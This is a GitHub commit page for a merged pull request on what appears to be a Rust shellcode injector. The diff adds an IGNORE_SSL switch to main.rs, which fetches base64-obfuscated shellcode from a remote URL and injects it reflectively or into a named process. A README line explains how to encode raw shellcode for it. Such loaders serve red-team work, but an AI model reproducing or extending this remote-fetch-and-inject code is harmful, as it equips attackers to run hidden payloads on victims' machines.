Skip to content

Commit

Permalink
Merge pull request #3 from goproslowyo/feat/https-ignore-tls-ssl
Browse files Browse the repository at this point in the history
Update to support ignore_ssl option
  • Loading branch information
mttaggart authored Sep 3, 2024
2 parents 7b2bd91 + 68f7164 commit 406aa9c
Show file tree
Hide file tree
Showing 2 changed files with 15 additions and 6 deletions.
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@ python3 encode.py [SHELLCODE_FILE] [B64_ITERATIONS] [OUT_FILE]
* `SHELLCODE_FILE`: raw shellcode file to encode
* `B64_ITERATIONS`: # of times to base64-encode the shellcode
* `OUT_FILE`: Resulting text file of the encoded shellcode. **NOTE:** this will be many times larger than the source!
* `IGNORE_SSL`: Ignores SSL/TLS errors.

### Alternative usage

Expand Down
20 changes: 14 additions & 6 deletions src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -14,16 +14,24 @@ const B64_ITERATIONS: usize = 3;
const PROCESS_NAME: &str = "";
/// `WaitForSingleObject` Switch. Usually you want this
const WAIT_FOR_SINGLE_OBJECT: bool = true;
/// `IgnoreSSL` switch. You know what this does.
const IGNORE_SSL: bool = false;

fn main() -> Result<(), String> {
let injection_type = match PROCESS_NAME {
"" => InjectionType::Reflect,
_ => InjectionType::Remote(PROCESS_NAME.to_string()),
};
let injector = load(InjectorType::Base64Url((
URL.to_string(),
false,
B64_ITERATIONS,
)))?;
inject(injector, injection_type, WAIT_FOR_SINGLE_OBJECT)
let injector = load(
InjectorType::Base64Url((
URL.to_string(),
IGNORE_SSL,
B64_ITERATIONS
))
)?;
inject(
injector,
injection_type,
WAIT_FOR_SINGLE_OBJECT
)
}

0 comments on commit 406aa9c

Please sign in to comment.